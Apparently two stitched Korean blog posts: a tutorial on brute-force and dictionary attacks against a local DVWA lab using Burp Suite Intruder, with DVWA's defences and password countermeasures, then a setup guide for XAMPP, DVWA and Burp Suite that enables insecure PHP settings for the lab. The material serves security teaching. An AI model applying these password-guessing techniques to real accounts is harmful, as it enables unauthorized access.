사전 파일을 이용한 공격이라고 해서 '사전 공격(Dictionary Attack)' 이라 한다..
미리 정의된 비밀번호 사전(Dictionary)을 준비하여 하나씩 대입해 보는 방식이다. 여기서 사전(Dictionary)파일은 그동안 통계적으로 많이 사용되어 오거나, 사람들이 흔히 사용할법한 비밀번호 조합을 미리 목록 형태로 정의해 둔 파일이다.
사람들은 의외로 단순한 비밀번호를 많이 사용하며 또한 여러 서로 다른 사이트에 걸쳐 동일한 비밀번호를 사용하기도 한다.
이런 환경에서, 사전 대입 방식은 브루터 포스 공격에 소요되는 시간을 극적으로 줄이면서도 공격 성공률을 높이는 아주 효율/효과적인 공격 기법이다.
비밀번호에 대한 '사전(Dictionary) 파일'은 인터넷에서 아주 쉽게 구할 수 있다.
예를 들어, 구글 검색엔진에 'password dictionary file'이라고 검색하면 수 많은 비밀번호 목록을 얻을 수 있다.
1.2 Brute Force in OWASP TOP 10 2017
OWASP TOP 10에서도 브루터포스 공격과 관련한 보안 위험 항목을 제시하고 있다.
TOP 10의 2위에 포지셔닝한 'A2. 취약한 인증'에서 브루터 포스 위협을 언급하고 있다.
2. 브루트 포스(Brute Force) 공격 실습
앞서 언급한 청와대사건의 김재열씨처럼,
스스로 추측한 비밀번호를 사용해 수동으로 브루터포스 공격을 시도해 볼 수 있다. 즉 직접 사이트에 접속해서 로그인 해 보는 것이다.
아마 공격자는 지인이나 다른 사람의 아이디 몇개 정도는 이미 알고 있을 것이며, 그들에게 의미있는 숫자나 문자(생일 or 전화번호 or 이성친구 이름 등)를 추가로 알고 있다면 이를 바탕으로 직접 로그인을 시도해 볼 수 있다.
또한 흔히 관리자 계정으로 사용되는 admin 이나, master와 같은 아이디와 1234, qwer과 같은 비밀번호로 직접 로그인을 시도해 볼수도 있을 것이다.
그러나 정말 의심되는 아이디와 비밀번호가 있는게 아니라면, 수동 공격은 매우 비효율적이다.
대부분의 브루터포스 공격은 툴을 이용한 자동화된 공격을 수행한다.
이제부터 툴을 이용해 브루터포스 공격을 실습해 보자.
해킹에 사용되는 툴의 설치와 사용법은 아래 링크에서 확인할 수 있다.
2.1 무차별 대입 공격 시도
2.1.1 DVWA 사이트 접속
먼저 XAMPP Control Panel을 실행해서 Apache 웹서버와 MySQL 데이터베이스를 시작한다.
서비스가 정상적으로 시작되었다면, http://localhost/dvwa 로 접속하여 DVWA 사이트로 접속한다.
로그인 창이 뜨면 DVWA의 기본 계정인 'admin / password'를 입력하고 로그인 한다.
로그인 후, 좌측 메뉴에서 DVWA Security를 클릭하고 Security Level을 Low로 변경한다.
[ DVWA의 Security Level ]
DVWA는 4단계(Low-Medium-High-Impossible)의 Security Level을 제공한다.
보안 조치가 전혀 이뤄지지 않은 Low 단계부터 점차 보안성이 강화되어 취약점으로부터 안전한 Impossible 단계까지 총 4단계로 구성되어 있다.
각 단계별로 방어 전략이 다르며 단계가 높을 수록 더 안전한 코드로 구현되어 있다.
이렇게 단계를 구분하고 각 단계별로 안전한 코드 구현을 안내하여 모의 해킹과 방어에 대한 학습을 보다 용이하도록 지원하고 있는 것이다.
Security Level 설정을 마쳤으면, 다시 좌측 메뉴에서 Brute Force 를 클릭한다.
이 메뉴에수는 Brute Force 공격을 시도해 볼 수 있도록 개발된 로그인 폼을 제공한다.
2.1.2 Burp Suite 실행
Burp Suite를 실행해서 Temporary project를 기본값으로 하여 생성한다.
DVWA 사이트의 로그인 요청에 대한 패킷을 캡쳐할 것이다.
패킷 캡처를 하기 위해서는 브라우저에 프록시 설정이 되어 있어야 한다.
[웹보안] 로컬 환경 셋팅과 툴 설치에서 브라우저의 프록시 설정을 참고해서 설정하자.
앞에서, 접속한 DVWA 사이트의 Brute Force 메뉴에서 admin / 1234로 로그인 해 본다.
이 로그인 요청 패킷이 Burp Suite에 의해 캡쳐되었을 것이다.
Proxy메뉴의 HTTP history 탭에서 해당 요청을 Intruder로 보낸다. (해당 요청을 우클릭하여 'Send to Intruder'를 선택한다.)
그리고 Burp Suite의 Intruder 메뉴를 클릭한다.
Intruder 메뉴의 Positions 탭에서 아래와 같이 password 부분만 § 로 감싸준다.(§로 감싼 부분은 다른 값으로 치환되는 부분임을 지정한다. 일종의 변수인 셈이다.)
처음엔 많은 부분이 §로 감싸져 있을 것이다. 우측의 'Clear §' 버튼을 클릭해서 §로 감싼 부분을 모두 제거하고 password 값(여기서는 1234)만 선택하여 우측의 'Add §' 버튼을 클릭한다. 그러면 password 값만 §로 감싸질 것이며 이 부분의 값이 계속 대입되면서 요청이 전송됨을 의미한다.
다음으로 Payloads 탭으로 가서 Payload type를 Brute forcer로 선택한다.
Brute forcer로 선택하면 아래 화면에 Character set가 자동으로 생성되어 있는 것을 확인할 수 있다.
기본값은 'abcdefghijklmnopqrstuvwxyz0123456789'로 되어 있다.
Character set에 문자열은 브루터포스 공격의 무작위 순차 대입을 위한 기준 문자이다. 이 기준 문자가 많으면 많을 수록 공격 시도 횟수와 시간은 증가한다. 그만큼 많은 조합을 시도해야 하기 때문이다.
우리는 이미 admin의 비밀번호가 'password'라는 것을 알고 있다.
테스트 시간 단축을 위해서 Character set 값을 'adoprsw'로 변경한다. 그리고 길이를 8으로 변경한다.
(이렇게 기준 문자열을 줄여도 조합의 수는 꽤 크다. Payload count를 보면 5,764,801라고 나와 있는데 총 조합 가능한 문자열의 수이다. 즉 이만큼의 요청이 발생한다는 의미이기도 하다.)
이제 설정이 마무리 되었다.
우측 상단에 있는 'Start attack' 버튼을 클릭해서 공격을 시작해 본다.
브루터포스 공격을 시작하면 다음과 같이 자동으로 문자열을 조합해서 하나씩 요청을 보내게 된다. 여기서 조합된 문자열은 앞서 설정한 패스워드 값('$로 감싸진 값)에 하나씩 대입된다.
언젠가는 password로 조합된 문자열을 보내게 될 것이며 이때 응답의 상태나 응답의 크기가 상이한 요청이 바로 공격에 성공한 것일 가능성이 크다.
요청에 대한 응답의 구조는 웹 사이트마다 다를 수 있으므로 그 결과고 획일적이지는 않을 것이다.
DVWA에서는 로그인 성공과 실패시 페이지 내용이 조금 상이하므로 응답의 크기(Length)가 다른 것이 공격에 성공한 요청이 된다.
2.2 사전(Dictonary) 공격
이번에는 미리 정의된 패스워드 목록 파일(사전 파일)을 가지고 공격을 시도해 보자.
패스워드 사전은 인터넷에 많이 있지만, 여기서는 간단하게 테스트 하기 위해 다음과 같이 직접 생성한다.(아래와 같이 입력하고 pass.txt 파일로 저장한다.)
[pass.txt의 내용]
123456
qwer1234
password
iloveyou
그리고 아래 화면과 같이, Payload type을 'Simple list'로 변경하고 그 아래에 Simple list 파일을 'Load'하여 앞서 생성한 pass.txt 파일을 불러 온다.
파일을 정상적으로 불러 왔으면 우측 상단의 'Start attack' 버튼을 클릭해서 공격을 시작한다.
공격 결과를 보면 아래와 같이 password 문자열로 보낸 요청의 응답은 다른 요청과 비교해 응답 길이(Length)가 다른것을 확인할 수 있다. 또한 응답된 html 에서도 로그인 성공시 나타나는 문구가 보인다.
즉 해커는 공격이 성공하여 password가 비밀번호 인 것을 알게 된 것이다. 이제 부터 admin 계정의 권한으로 사이트에 해를 입힐 수 있게 된 것이다.
3. DVWA에서 브루터 포스 공격에 대응하는 방법 알아보기
앞서, DVWA에서는 Security Level을 4단계로 구분하여 각 단계별로 강화된 보안성을 제공한다고 하였다. DVWA에서는 브루트포스 공격을 어떤 식으로 방어하는지, 각 단계별로 살펴보자.
3.1 Low 단계
아무런 보안 조치가 이뤄지지 않은 매우 취약한 상태이므로 당연히 어떠한 방어 코드도 구현되어 있지 않다.
3.2 Medium 단계
DVWA Security 메뉴에서 단계를 Medium으로 변경하고 다시 Brute Force 메뉴로 와서 잘못된 정보로 로그인을 시도해 보자.
로그인 실패시 응답 시간이 (Low 단계에 비해) 좀더 오래 걸린다는 것을 느낄 수 있다.
하단의 'View Source' 버튼을 클릭해서 소스를 보면 아래와 같이 로그인 실패시 약 2초간 시간 지연을 두고 있다.
이는 자동화된 브루터 포스 공격의 시간을 지연시킴으로써 공격 시간을 더디게 만들기 위해서이다.
3.3 High 단계
이번에는 Security 레벨을 High로 변경하고 다시 시도해 보자. 로그인 실패시 응답시간이 빠르기도 하고 느리기도 할 것이다.
코드를 보면 다음과 같이 구현되어 있다.
로그인 실패시 시간 지연을 획일적으로 2초로 하지 않고, 0~3초 사이에 랜덤한 값으로 지정하고 있다.
이는 획일된 반응 시간은 해커로 하여금 지연시간을 추측할 수 있게 만들고 해커는 추측된 지연 시간을 감안해 공격을 자동화 할 수 있기 때문이다. 즉 보다 보안성이 강화되었다고 할 수 있겠다.
3.4 Impossible 단계
가장 보안조치가 강력하게 구현된 단계이다.
로그인 실패를 시도해 보면 다음과 같은 안내 문구가 나타난다. 15분 동안 계정이 잠겼다는 내용이다.
소스코드를 보면 High 단계의 랜덤 지연 시간에 더하여, 로그인 횟수와 최종 로그인 시간을 DB에 저장하여 계정 잠금의 기준으로 삼고 있다. 코드 구현은 보다 복잡해 졌지만 사이트의 안전성은 높아졌다.
지금까지 DVWA에서 브루트 포스 공격을 어떻게 대응하는지 살펴 보았다. 이를 포함하여 전방위적인 보안 대첵을 이어서 알아보자.
4. 브루트 포스(Brute Force) 공격 대응 방안
웹 보안을 위한 조치사항은 주로 웹 서비스를 제공하는 기업 입장에서 대응해야 하지만 브루트 포스 공격은 웹 사이트를 이용하는 이용자 역시 주의를 기울일 필요가 있다.
따라서 이용자 관점과 기업 관점의 두 가지 측면에서 대응 방안을 살펴 보자.
4.1 이용자 관점 대응 방안
4.1.1 안전한 패스워드 사용
오랜동안 사람들은 기억하기 편하다는 이유로 허술한 비밀번호를 사용해 왔다.
> '이거 실화냐?' 가장 많이 쓰이는 쉬운 암호 12가지
허술한 자물쇠로 자신의 집이나 금고를 보호하고 싶지는 않을 것이다. 온라인 세상에서 탄탄한 자물쇠를 다는 첫번째 방법은 안전한 비밀번호를 사용하는 것이다.
1) 길고 복잡한 비밀번호 사용
비밀번호는 길면 길수록 그리고 복잡하면 복잡할수록 알아내기 힘들다.
무작위 대입 방식의 브루트 포스 공격은 가능한 문자열 조합을 순차적으로 모두 시도해 보는 것이기 때문에 비밀번호가 길고 복잡해 질 수록 공격에 소요되는 시간은 기하급수적으로 늘어난다.
따라서 가장 기본적인 대응방안은 길고 복잡한 비밀번호를 사용하는 것이다.
아래의 사이트에서 비밀번호의 안전성을 테스트 해 볼 수 있다.
https://howsecureismypassword.net/
아래 화면은 비밀번호 '1234'로 테스트 해 본 결과이다. 암호가 크래킹되는데 걸리는 시간이 'INSTANTLY(즉시)' 이다. 그리고 비밀번호가 숫자로만 이뤄졌고 매우 짧다고 경고하고 있다.
다음으로 비밀번호를 길고 복잡하게 'dnpqqhdks@7#9'로 테스트 해 볼 결과이다. 비밀번호를 알아 내는데 엄청난 시간이 소요되므로 안전하다고 알려 주고 있다.
2) 유추하기 힘든 패스워드 사용
일반적으로 사람들은 자신이 기억하기 쉽게 하기 위해, 자신의 개인 정보와 비밀번호를 연관시키는 경우가 많다.
예를 들어 자신의 생일, 기념일, 차량번호, 휴대전화번호 같은 것들을 비밀번호로 사용한다.
이런 개인적 의미의 비밀번호는, 특히 그(그녀)를 알고 있는 누군가는 쉽게 유추할 수 있는 비밀번호이다. 기억하기 바란다. 가장 흔한 브루터 포스 공격은 당신 지인의 행위일 수도 있다는 것을...
또한 개인정보와 연관되지 않더라도 쉽게 유추할 수 있는 비밀번호가 있는데, 아래와 같이 통계적으로 많이 사용되어온 의미있는 단어들이다.
football, qwertyuiop, 123qwe, iloveyou, rainbow, alaska, ....
이런 단어들의 목록은 인터넷에서 아주 쉽게 구할 수 있다.
'사전 공격'에서 사용되는 파일에는 수천만개 이상의 비밀번호 조합이 존재한다. 따라서 유추하기 힘든 자신만의 비밀번호 조합을 사용하는 것이 좋다.
4.1.2 서로 다른 사이트에는 서로 다른 비밀번호 사용
우리은행 해킹 사례에서도 보듯이 서로 다른 사이트에 동일한(또는 거의 유사한) 비밀번호를 사용하는 것은 피해가 확대되는 결과로 이어진다.
한 사이트에서 탈취한 계정 정보는 다른 사이트의 브루터 포스 공격용 '사전(Dictionary)'으로 사용된다.
따라서 서로 다른 사이트라면 서로 다른 비밀번호 사용을 권장한다.
다만 필자도 이게 얼마나 귀찮은 건지 잘 알고 있다. 서로 다른 비밀번호는 기억하기 쉽지 않다. 필자의 경우에도 서로 다른 비밀번호를 사용하다가 비밀번호를 잊어 먹어 애먹은 적이 한두번이 아니다.
그나마 보완책이라면, 서로 다른 비밀번호를 생성하더라도 일종의 자신만의 규칙과 패턴을 사용하는 것이다. 물론 그 패턴은 쉽게 유추되지 않는 것이어야 한다.
---
결국 이용자들은 스스로 자신을 보호하기 위해 '안전한 비밀번호'를 사용해야 한다.
KISA 에서는 안전한 비밀번호 사용을 위해 안내서를 제공하니 아래 링크를 참조하기 바란다.
4.2 기업 관점 대응 방안
4.2.1 안전한 패스워드 규칙
앞서 '이용자 관점'에서도 언급한바 있는데, 비밀번호를 길고 복잡하게 만들도록 규칙을 강제하는 것이다. 또한 이용자의 공개된 개인정보가 비밀번호로 사용되는 것을 경고할 필요가 있다.
이용자가 알아서 복잡하고 유추 불가능한 비밀번호를 생성해 주면 고맙겠지만, 그렇지 않은 경우도 많으니 아예 규칙으로 강제하는 것이다. 현재 많은 사이트들에서 비밀번호 복잡성 규칙을 강제하고 있다
[ ISMS 인증체계에서의 비밀번화 관리 기준 ]
ISMS 인증체계에서도 '보호대책 요구사항'에 '비밀번호 관리'라는 인증 기준을 두고 있다.
ISMS에서 안내하는 안전한 비밀번호 규칙은 아래와 같다.
- 문자, 숫자, 특수문자 중 2종류 이상을 조합하여 최소 10자리 이상 길이로 구성
- 문자, 숫자, 특수문자 중 3종류 이상을 조합하여 최소 8자리 이상 길이로 구성
- 유추 가능한 비밀번호 설정 제한: 연속된 숫자, 생일, 전화번호 등
4.2.2 로그인 시도 횟수 제한
브루터포스 공격은 임의의 문자열을 무차별 대입해 보는 공격이므로 많은 로그인 시도와 로그인 실패를 반복하게 된다. 따라서 자동화되고 반복적인 시도를 불가능하게 만들기 위해 로그인 실패가 누적될 경우, 특별한 조치를 취하는 것이다. 이때 조치는 다음과 같은 형태가 될 수 있다.
1) 계정 잠금
로그인 실패가 일정 횟수 이상이 되면 더 이상 로그인 시도를 할 수 없도록 계정을 잠그는 것이다.
이렇게 하면, 자동화된 툴로 수 많은 로그인 시도를 할 수 없거나 힘들게 되어 공격 성공율이 엄청 떨어지게 된다.
잠긴 계정을 푸기 위해서는, 일정 시간이 지나면 자동으로 풀어주거나 추가 본인 확인을 거쳐 풀어주는 방식이 있다.
2) 캡챠 요구
앞의 계정 잠금 보다는 조금 완화된 방법이다. 로그인에 반복적으로 실패할 경우, 캡챠를 같이 입력하도록 한다. 아래 화면은 네이버의 로그인 실패 후, 캡챠가 나타나는 상황을 보여준다.
브루터 포스공격의 자동화되고 반복적인 로그인 시도 자체를 불가능하게 하여 이 공격의 기본 매커니즘을 흔들어 버리는 것이다. 이 방식은 공격자의 공격 의지를 상당히 깍아 내리므로 아주 효과적이라 하겠다.
4.2.3 다중 인증
ID, PASSWORD 이외에 추가 인증 수단을 제공하는 방식이다. 이 글에서 말하는 '다중 인증'은 일반적인 보안에서 말하는 '2 factor 인증'과는 그 개념을 구분하고자 한다.
'2 factor 인증'은 지식 기반인 비밀번호외에 소유기반인 휴대전화, OTP, 보안카드 또는 생체기반인 지문과 같은 인증 요소를 둘 이상 결합한 인증 방식을 말한다.
반면 여기서 말하는 '다중 인증'은 ID, PASSWORD외에 추가로(그게 무엇이든) 입력 받도록하는 인증 방식을 말한다.
1) 기기 인증
ID, PASSWORD 뿐만 아니라 로그인을 시도하는 기기도 인증하는 방식이다. 현재 이 블로그 서비스 제공하는 업체인, 티스토리도 기기 인증을 지원한다.
관리자 모드에서 기기인증을 활성화 할 경우, 한번도 접속한적 없는 기기에서 로그인을 시도하면 다음 화면과 같이 기기 인증을 받도록 되어 있다.
해커의 경우, 정상 이용자의 기기와는 다른 기기에서 로그인을 시도 할 것이기 때문에 로그인 시도를 할 수가 없게 될 것이다.
주의할 점은, 기기 인증시 기준값이 되는 기기의 고유값을 HTTP Request 정보에만 의존한다면 (비보안 HTTP 환경에서는) 해커가 얼마든지 그 값을 변조할 수 있으므로 주의를 요한다.
2) 캡차 추가
앞서 계정 잠금 후, 캡챠를 사용할 수도 있지만, 처음부터 로그인 시 캡챠를 같이 요구할 수도 있다.
아래 그림은 워드 프레스의 로그인 폼에 캡챠가 적용된 모습인데, 이와 같이 로그인 할 때 캡챠를 함께 사용하는 것이다.
이 캡챠의 경우, 매번 캡챠의 문자가 바뀌는 형식인데, 브루터포스 공격을 시도할 때 문자가 매번 바뀌기 때문에 공격을 자동화 시키기 아주 힘들어진다.
물론 캡쟈 자체의 보안성이 높아야 하는 것은 당연하다.
요즘은 네이버나 구글과 같은 대형 인터넷 업체에서 무료로 캡챠를 사용할 수 있도록 제공하니 참고 바란다.
앞서 이 글에서의 '다중인증'과 보안에서의 '2 factor 인증'을 구분하길 원했지만 2 factor 인증을 다중인증 수단으로 사용할 수도 있다.
예를 들어 로그인 시 ID/PASSWORD 외에 OTP 번호를 요구하거나 메일 인증을 추가할 수도 있다.
'2 factor 인증'을 사용하면 브루터 포스 공격을 거의 완전하게 방어 할 수 있을 것이다.
하지만 (정말 보안이 중요한 곳이 아니라면) 사용 편의성이 너무 떨어지기 일반적인 사이트에서 로그인 보안으로는 좀 과한 느낌이 있다.
4.2.4 강력한 로깅과 모니터링
지금까지 알아본 많은 방어책들이 잘 갖춰져 있다 하더라도 운영 중 모니터링은 필수 요소이다.
모니터링을 하려면 로그인 요청과 실패에 대한 사항을 기록하고 감시해야 한다.
그리고 이상 현상에 대한 임계치를 설정하고 임계치에 도달 할 경우, 관라지에게 자동으로 Alerting 되도록 모니터링 체계를 구축하는 것이 바람직 하다.
또한 이렇게 모니터링해서 이상현상이 감지되면, 공격용으로 의심되는 IP에 대한 조사 및 블럭킹 등 적극적인 조치가 뒤따라야 한다.
브루터 포스 공격에 대한 방어책을 상세히 알아 보았다. 앞서 장황한 설명의 핵심은 다음 세 가지로 정리할 수 있겠다.
1. 안전한 패스워드 사용 (길고 복잡하고 추측하기 힘든 패스워드)
2. 공격 자동화 저지 (다양한 방법 존재)
3. 공격 시도 탐지 (모니터링과 알림)
지금까지 알아본바와 같이, 기업 입장에서 브루터 포스 공격에 대비해 다양한 방어 수단을 구현할 수 있다. 한가지 생각해 볼 문제는, 웹 사이트의 성격에 맞는 보안성을 제공해야 한다는 것이다.
보안은 항상 트레이드 오프(Trade off)가 존재한다. 대부분 보안성이 올라가면 성능 또는 사용성(편의성)이 떨어지게 마련이다. 기업이 서비스하는 웹 사이트의 성격에 맞는 보안성과 잘 조율된 성능, 사용성을 동시에 만족시키는 것이 필요하다 하겠다.
'SW개발' 카테고리의 다른 글
해킹 피해에 따른 행정처분 사례 (4) | 2019.02.08 |
---|---|
[웹보안] SQL Injection (5) | 2019.01.28 |
[웹보안] 로컬 환경 셋팅과 툴 설치 (5) | 2019.01.17 |
설정 파일의 외부화(Spring Cloud Config) (5) | 2018.03.29 |
SPA와 Social sharing(소셜 공유) (20) | 2017.06.26 |
INTRO
이 글에서는,
웹보안을 공부하고 해킹을 실습해 볼 수 있는 툴을 알아보고 설치 방법을 간단히 안내 하고자 합니다.
사실 웹보안 시리즈를 연재하고자 마음을 먹고서는, 개요부터 쭉~ 한번 훓고 가려 했는데요.
개요 작성에는 시간이 좀 더 필요할 것 같아서, 바로 본론으로 들어갑니다.
중간에 틈이 나면 전반적인 개요을 한번 다뤄볼까 합니다.
미리 말씀드리자면,
개요에서는 웹 보안의 중요성이나 해킹사례, OWASP Top 10과 같은 국제적 참고자료와 웹 보안 관련한 국내 현황과 법률 사항 등 전반의 내용을 다룰 예정입니다.
사실 과거(2006년)에 웹 보안 글을 몇개 끄적인 적이 있습니다.
당시에서 큰 보부를 가지고 웹보안 전반을 다룰려고 했으나, 그러질 못했네요.
이번에는 인생의 숙제(?)라 생각하고 웹 보안 전반을 다뤄보고자 합니다.
과거 글들은 아래 링크를 참고하세요.(지금 다시 보니 글에 미숙한 점이 많이 보이네요 ^^;)
자 이제 본론으로 들어갑니다.
저의 개발 환경은 '64bit 윈도우 10 Pro' 환경입니다. 이 글에서 소개하는 툴들은 다른 환경(Linux, OS X)에서도 동작가능합니다. 다만 여기서는 윈도우 환경만 설명합니다.
많은 툴들이 있겠지만, 여기서는 앞으로 제가 진행할 웹 보안 Article에서 사용될 몇 가지에 대해서만 알아봅니다. 만일 여기서 소개되지 않은 툴을 제 글에서 다룬다면, 툴 설명을 별도로 추가하겠습니다.
참고로 이 글에서는 설치 과정을 세세하게 설명하지는 않습니다. 설치와 관련된 사항은 이미 인터넷에 많은 자료가 있으니 참고 바랍니다. 물론 그럼에도 설치 문제를 해결하지 못한 경우 편하게 댓글로 문의 주세요.
좋은 도구는 높은 생산성과 직결합니다. 아래 소개한 도구를에 익숙해지길 바랍니다.
---------------------------------------------------------------------------------------------------------------
1. XAMPP (Cross-platform Apache, MariaDB, PHP, Perl)
XAMPP는 APM(Apache, PHP, MySql) 환경구축을 한번에 할 수 있도록 하는 패키지 프로그램이다.
아래 설명할 DVWA 사이트가 PHP와 MariaDB로 구현되어 있는데, 이 사이트를 로컬 PC 구동시키기 위해서 APM 환경이 필요하다.
1.1 XAMPP 다운로드 및 설치
아래 사이트로 가서 XAMPP 설치파일을 다운로드 받는다.
각 OS 별로 설치 프로그램을 제공하는데, 필자의 경우 현재 시점의 최신 버전의 윈도우용 설치파일을 받아서 설치했다.
(현재 시점 최신 버전) XAMPP for Windows 7.3.0 (PHP 7.3.0)
다운받은 파일을 기본 설정으로 하고 '다음 > 다음 ..' 하여 설치한다.
(설치 과정중 Select Components 단계에서, 불필요한 환경을 제외할 수 있다. 필자 역시 Apache, MySQL, PHP외에 불필요한 것은 설치에서 제외 시켰다)
(그리고 설치 경로를 기억해 두자. 기본값으로 설치했다면 'C:\xampp' 일 것이다)
1.2 XAMPP Control Panel 을 통한 서비스 제어
XAMPP 설치가 완료되면 XAMPP Control Panel이라는 관리패널이 실행된다.
XAMPP Control Panel은 서비스들을 컨트롤 할 수 있는 관리 기능을 제공하는 프로그램이다.
(참고로 XAMPP Control Panel이 실행되면 윈도우 트레이 아이콘에 자동 추가 되므로 창을 닫아도 프로그램이 종료되는 것은 아니다. 프로그램을 종료하려면 트레이 아이콘을 우측 클릭하여 Quit 하면 된다.)
(또한 XAMPP Control Panel 프로그램을 종료(quit)한다고 해서 Apache나 MySQL이 같이 종료되는 것은 아니다. 이 프로그램은 말 그대로 편의성을 위해 별도로 제공되는 GUI 기반 프로그램일 뿐이다)
위 화면에서 보는바와 같이, Apache와 MySQL을 구동(Start)시키자.
브라우저에서 http://127.0.0.1 로 접속해보자. 다음 그림과 같이 XAMPP 대시보드가 로딩된다면 성공적이다.
1.3 설치 및 구동 실패 해결
설치 과정이나 설치 후 Apache, MySQL을 구동 시킬때 제대로 동작하지 않는 경우가 종종있다.
이는 대부분 XAMPP가 사용하는 포트와 서비스가 충돌되기 때문이다.
1.3.1 아파치 구동 실패
Apache 웹서버의 경우 기본 80포트를 사용하는데, 이미 로컬 PC에 80포트가 사용되고 있는 경우 Apache 웹 서버를 시작할 수 없다. (필자의 경우에도 로컬 PC에 IIS 웹서버가 동작중인데 80포트를 사용하는 사이트가 있어서 포트를 변경하였다.)
80 포트를 이용하는 서비스를 찾아서 포트를 변경하던지 해당 서비스를 중지 시키던지 한다.
다음 명령어를 통해 현재 로컬 PC의 포트와 서비스 PID를 확인할 수 있으니 참고하자.
netstat -ano
(XAMPP Control Panel 에서도 바로 포트를 확인할 수 있도록 기능을 제공한다. 관리 패털의 우측 상단에 있는 'Netstat' 버튼을 클릭하면 포트와 PID 확인이 가능하다.)
1.3.2 MySQL 구동 실패
로컬 PC에 MySQL이 이미 설치되어 있는 경우, path 관련 오류(MySQL Service detected with wrong path)가 나면서 MySQL이 구동되지 않을 것이다.
될수 있으면 기존 설치된 MySQL을 제거하는 것이 가장 단순한 해결 방법이다.
관리자 계정으로 cmd(명령프롬프트)를 실행하고 다음의 명령어로 해당 MySQL을 제거하면 된다.
(기존 MySQL에 있는 오브젝트들은 미리 백업 받아 두는 것이 좋다)
sc delete mysql
만일 기존에 설치된 MySQL과 XAMPP의 MySQL을 동시에 같이 사용하고 싶을 경우, 다음의 글을 참고하자. (포트와 서비스 명을 서로 다르게 하여 두개의 MySQL 인스턴스를 띄우는 방식이다.)
http://emjaywebdesigns.com/xampp-and-multiple-instances-of-mysql-on-windows/
1.4 DVWA를 위한 XAMPP 셋팅
1.4.1 dvwa 데이터베이스 생성
XAMPP 웹(http://127.0.0.1)에 접속하여 상단의 phpMyAdmin 메뉴로 이동한다.
phpMyAdmin은 웹으로 MySQL을 관리할 수 있는 프로그램이다. 상단의 '데이터베이스' 메뉴로 이동하여 dvwa라는 이름으로 새 데이터베이스를 만든다.
1.4.2 php.ini 파일 수정
'C:\xampp\php\php.ini' 파일에서 다음 값이 Off로 되어 있다면 On으로 변경하고 저장한다
allow_url_fopen=On
allow_url_include=On
이 설정이 필요한 이유는, dvwa 사이트에서 url include을 사용하기 때문이다.
Apache 웹서버를 재기동 하면 변경된 설정 값이 반영된다.
2. DVWA(Damn Vulnerable Web Application)
DVWA는 그 약자에서도 알 수 있듯이 의도적으로 취약하게 만든 웹 사이트이다.
보통 웹해킹을 공부하고 직접 시도해 볼려면 여의치가 않다. 임의의 공개된 사이트에 테스트로 해킹을 시도 했다가는 법률적 제재를 받을 수도 있다.
그렇다고 직접 개발하기도 만만치가 않다.
DVWA는 PHP/MySQL 기반으로 제작된 웹 애플리케이션으로, 웹 해킹 기술을 직접 실습하고 공격 대응 방안을 학습하기 위한 목적으로 제작되었다.
다음은 DVWA 사이트에서 발췌한 설명이다.
DVWA (Damn Vulnerable Web App)는 PHP / MySQL 웹 애플리케이션으로 취약합니다. 주요 목표는 보안 전문가가 법률 환경에서 자신의 기술과 도구를 테스트하고 웹 개발자가 웹 응용 프로그램을 보호하는 과정을 더 잘 이해할 수 있도록 지원하고 교사 / 학생이 강의실 환경에서 웹 응용 프로그램 보안을 가르치고 배우도록 돕는 것입니다 .
2.1 DVWA 다운로드 및 설치
아래 주소로 이동하여 DVWA-master.zip 파일을 다운로드 받는다
다운 받은 파일의 압축을 풀고 DVWA-master 폴더의 하위 내용물들을 모두 다음의 위치로 옮긴다
C:\xampp\htdocs\dvwa
(XAMPP 웹으로 접속 가능하도록 htdocs 폴더 하위에 dvwa라는 이름의 폴더를 생성하여 그 아래로 DVWA-master 폴더 내용을 이동(or 복사) 한다.)
파일들이 정상적으로 이동되었다면, 다음의 주소로 dvwa 사이트에 접속할 수 있다.
http://127.0.0.1/dvwa
위 주소로 최초 접근하면 다음과 같은 Setup 화면이 나오고 추가 설정을 해 줘야 한다.
여기서 빨간색으로 나온 부분을 모두 잡아줘야 사용이 가능해 진다.
reCAPTCHA key 가 설정되지 않아서 빨간색으로 표시되어 있다. 키를 발급 받는 방법을 알아보자.
2.2 reCAPTCHA key 발급 받기
DVWA에서 캡챠 관련 공격을 테스트 하기 위해 필요한 설정이다. reCAPTCHA 키를 받기 위해서 다음의 주소로 접속한다
www.google.com/recaptcha/admin
구글 계정으로 로그인해야 키 발급이 가능하다. 로그인 후 다음 그림과 같이 입력하고 폼을 제출한다.
폼을 제출하면 Site Key와 Secret key가 생성된다. 이 두 키 값을 dvwa 설정 파일에 등록해야 한다.
2.3 설정 파일 수정
먼저 config 폴더에 있는 config.inc.php.dist 파일 이름에서 '.dist'을 제거한다.
config.inc.php.dist --> (파일명 변경) --> config.inc.php
2.3.1 reCAPTCHA key 설정
config.inc.php 파일을 열어서 다음의 내용을 설정한다. 앞서 발급받은 key들을 다음과 같이 알맞게 지정한다.
$_DVWA[ 'recaptcha_public_key' ] = '(Site Key 값 입력)';
$_DVWA[ 'recaptcha_private_key' ] = '(Secret key 값 입력);
2.3.2 DB 접속 패스워드 수정
config.inc.php 파일의 DB 패스워드를 다음과 같이 패스워드를 공백으로 변경한다.
$_DVWA[ 'db_password' ] = '';
이제 dvwa 설정이 완료되었다. 앞서 접속한 dvwa 설정화면을 새로고침 해보면 reCAPTCHA key 가 녹색으로 표시된것을 확인할 수 있다.
2.4 데이터베이스 생성
마지막으로 dvwa 데이터베이스에 관련 오브젝트들을 생성한다.
설정화면에서 'Create / Reset Database' 버튼을 클릭해서 관련 테이블등을 생성하자
dvwa로 해킹 실습을 해 보다가 데이터를 초기화 하고 싶으면 언제든이 Reset 할 수도 있다.
2.5 DVWA 사이트 접속
이제 DVWA를 위한 모든 설정이 완료되었다.
http://127.0.0.1/dvwa/ 로 접속하여 사이트를 확인해 보자
로그인 창이 뜨면 admin / password로 입력한다. 다음 그림과 같이 DVWA 사이트를 확인할 수 있다.
사이트를 한번 쭉 훓어 보기 바란다.
3. Burp Suite 설치
웹 사이트 테스트 및 해킹 용도로 자주 사용되는 웹 프록시 프로그램이다.웹 요청을 프록시를 경유하도록 만들어서, 중간에 패킷을 가로채어 조사하고 변조해 볼 수 있다.
Burp Suite는 프록시 기능을 넘어, 실제 웹 해킹을 자동화 해서 수행할 수 있는 기능도 제공한다.
유료와 무료 버전이 존재하며 우리는 무료인 커뮤니티 버전을 설치한다.
3.1 Burp Suite 다운로드 및 설치
아래 주소로 이동하여 커뮤니티 버전의 설치 파일을 다운로드 받아서 설치한다.
https://portswigger.net/burp/communitydownload
3.2 브라우저 프록시 설정
3.2.1 프록시 설정 확인
